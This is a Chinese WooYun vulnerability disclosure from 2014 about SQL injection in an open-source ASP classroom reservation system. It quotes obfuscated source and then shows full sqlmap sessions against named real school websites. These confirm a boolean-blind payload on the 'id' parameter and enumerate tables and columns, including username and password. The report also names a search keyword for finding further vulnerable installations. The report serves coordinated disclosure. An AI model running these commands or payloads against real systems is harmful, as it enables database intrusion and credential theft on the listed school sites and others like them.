当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088354

漏洞标题:某教室预约系统SQL注入

相关厂商:龙品软件开发工作室

漏洞作者: 路人甲

提交时间:2014-12-25 15:54

修复时间:2015-03-25 15:56

公开时间:2015-03-25 15:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-02: 细节向第三方安全合作伙伴开放
2015-02-23: 细节向核心白帽子及相关领域专家公开
2015-03-05: 细节向普通白帽子公开
2015-03-15: 细节向实习白帽子公开
2015-03-25: 细节向公众公开

简要描述:

多处文件可注入!

详细说明:

一个朋友要我帮他看看学校网站,说是被挂了黑页,我看了一下cms,然后跑了一下后台,发现一个后台编辑页面竟然可以无需任何验证就可以直接打开- -我也是醉了.然后看了一下发现是开源的cms于是闲来无事就下了一个瞧瞧,就发现下面几个文件存在注入!

Instrument_lp.asp
tjgg_csh.asp
btjgg_csh.asp


下面是tjgg_csh.asp的部分源码

/tjgg_csh.asp
MCCCCM.Write(EnTiFvAz("N") & vbCrLf)
MCCCCM.Write(EnTiFvAz("3D*62Calv6E4s2E6$EC:?8WXj , ,^^@x@@@Q,@@,Q") & vbCrLf)
MCCCCM.Write(EnTiFvAz(" ,") & vbCrLf)
MCCCCM.Write(EnTiFvAz("7F?4E:@? ,E:>6WXL , ,") & vbCrLf)
MCCCCM.Write(EnTiFvAz(" ,5@4F>6?E]HC:E6WQkE23=6 ,3@C56ClV`V ,46==DA24:?8lVbV ,H:5E9lV`e_V ,3@C56C4@=@ClVR______V ,384@=@ClVRuuuuuuV ,96:89ElV`__V ,46==A255:?8lVaVQXj , ,") & vbCrLf)
MCCCCM.Write(EnTiFvAz(" ,5@4F>6?E]HC:E6WQkECmkE5 ,2=:8?lV46?E6CVmk7@?E ,4@=@ClR__g_c_mQZ3Ds2E6ZQk^7@?Emk3Cmk2 ,9C67lVD663]2DAVmk7@?E ,7246lVpC:2=V ,D:K6lVeV ,4@=@ClRuug_c_mQZ3Ds2E6aZQk^7@?Emk^2mk3Cmk7@?E ,4@=@ClR__g_c_mkDA2? ,DEJ=6lVu~}%\$x+ti ,`_]dAEVmQXj , ,") & vbCrLf)
MCCCCM.Write(EnTiFvAz(" ,5@4F>6?E]HC:E6W3D(66<ZQk^DA2?mQZQk3Cmk^3mk7@?E ,4@=@ClRhqct__mQXj , ,") & vbCrLf)
MCCCCM.Write(EnTiFvAz(" ,5@4F>6?E]HC:E6W3D*62CZQU?3DAjQZ3D*62CaZQk^E5mk^ECmk^E23=6mQXj , ,") & vbCrLf)
MCCCCM.Write(EnTiFvAz("N ,") & vbCrLf)

存在注入
可以看到其中一处语句尚未闭合,导致产生一个SQL注入

root@kali:~# sqlmap -u "http://www.lszxedu.com/qt/croom8/tjgg_csh.asp?id=18"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:46:19
[09:46:19] [INFO] testing connection to the target URL
[09:46:19] [INFO] testing if the target URL is stable. This can take a couple of seconds
[09:46:21] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[09:46:23] [INFO] testing if GET parameter 'id' is dynamic
[09:46:24] [INFO] confirming that GET parameter 'id' is dynamic
[09:46:24] [INFO] GET parameter 'id' is dynamic
[09:46:25] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[09:46:25] [INFO] testing for SQL injection on GET parameter 'id'
[09:46:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:46:28] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[09:46:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[09:46:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:46:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[09:46:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[09:46:36] [INFO] testing 'MySQL inline queries'
[09:46:36] [INFO] testing 'PostgreSQL inline queries'
[09:46:37] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[09:46:37] [INFO] testing 'Oracle inline queries'
[09:46:38] [INFO] testing 'SQLite inline queries'
[09:46:39] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[09:46:39] [WARNING] time-based comparison requires larger statistical model, please wait....
[09:46:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:46:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[09:46:43] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[09:46:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:46:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[09:46:44] [INFO] testing 'Oracle AND time-based blind'
[09:46:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[09:46:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:46:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:46:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[09:47:10] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 79 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=18 AND 3313=3313
---
[09:47:25] [INFO] testing MySQL
[09:47:26] [WARNING] the back-end DBMS is not MySQL
[09:47:26] [INFO] testing Oracle
[09:47:26] [WARNING] the back-end DBMS is not Oracle
[09:47:26] [INFO] testing PostgreSQL
[09:47:27] [WARNING] the back-end DBMS is not PostgreSQL
[09:47:27] [INFO] testing Microsoft SQL Server
[09:47:27] [WARNING] the back-end DBMS is not Microsoft SQL Server
[09:47:27] [INFO] testing SQLite
[09:47:28] [WARNING] the back-end DBMS is not SQLite
[09:47:28] [INFO] testing Microsoft Access
[09:47:28] [INFO] confirming Microsoft Access
[09:47:29] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[09:47:29] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.lszxedu.com'


使用sqlmap检测了一下发现是存在注入的!

漏洞证明:

oot@kali:~# sqlmap -u "http://www.lszxedu.com/qt/croom8/tjgg_csh.asp?id=18" --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:47:49
[09:47:49] [INFO] resuming back-end DBMS 'microsoft access'
[09:47:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=18 AND 3313=3313
---
[09:47:49] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[09:47:49] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[09:47:49] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[09:47:49] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:47:49] [INFO] retrieved:
[09:47:51] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[09:47:51] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[09:47:51] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[09:47:54] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt'
[09:47:54] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[09:47:57] [INFO] starting 10 threads
[09:47:58] [INFO] retrieved: user
[09:48:05] [INFO] tried 103/3146 items (3%)
[09:48:05] [INFO] heuristics detected web page charset 'GB2312'
[09:48:11] [INFO] retrieved: term
[09:48:17] [INFO] retrieved: system

Database: Microsoft_Access_masterdb
[3 tables]
+--------+
| user |
| system |
| term |
+--------+
[09:51:53] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.lszxedu.com'
[*] shutting down at 09:51:53
root@kali:~# sqlmap -u "www.lszxedu.com/qt/croom8/tjgg_csh.asp?id=18" --columns -T user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:53:45
[09:53:45] [INFO] resuming back-end DBMS 'microsoft access'
[09:53:45] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=18 AND 3313=3313
---
[09:53:46] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[09:53:46] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q]
[09:53:48] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[09:53:48] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[09:53:50] [INFO] starting 10 threads
[09:53:50] [INFO] retrieved: id
[09:53:50] [INFO] retrieved: username
[09:53:52] [INFO] retrieved: email
[09:54:03] [INFO] retrieved: password
[09:54:50] [INFO] retrieved: qq
[09:55:24] [INFO] tried 1301/2504 items (52%)
[09:55:24] [INFO] heuristics detected web page charset 'GB2312'
[09:56:46] [INFO] retrieved: question
[09:56:53] [INFO] retrieved: date

Database: Microsoft_Access_masterdb
Table: user
[7 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| date | numeric |
| email | non-numeric |
| id | numeric |
| password | non-numeric |
| qq | numeric |
| question | numeric |
| username | non-numeric |
+----------+-------------+
[09:56:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.lszxedu.com'
[*] shutting down at 09:56:57


直接用sqlmap跑出来表名是user 列名是username,password
www.lszxedu.com/qt/croom8/tjgg_csh.asp
rslz.rsedu.com/jsyd/tjgg_csh.asp
一大堆实例
关键字是:“多功能教室预约系统C8.0”

修复方案:

加强过滤!!

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-12-30 13:55

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无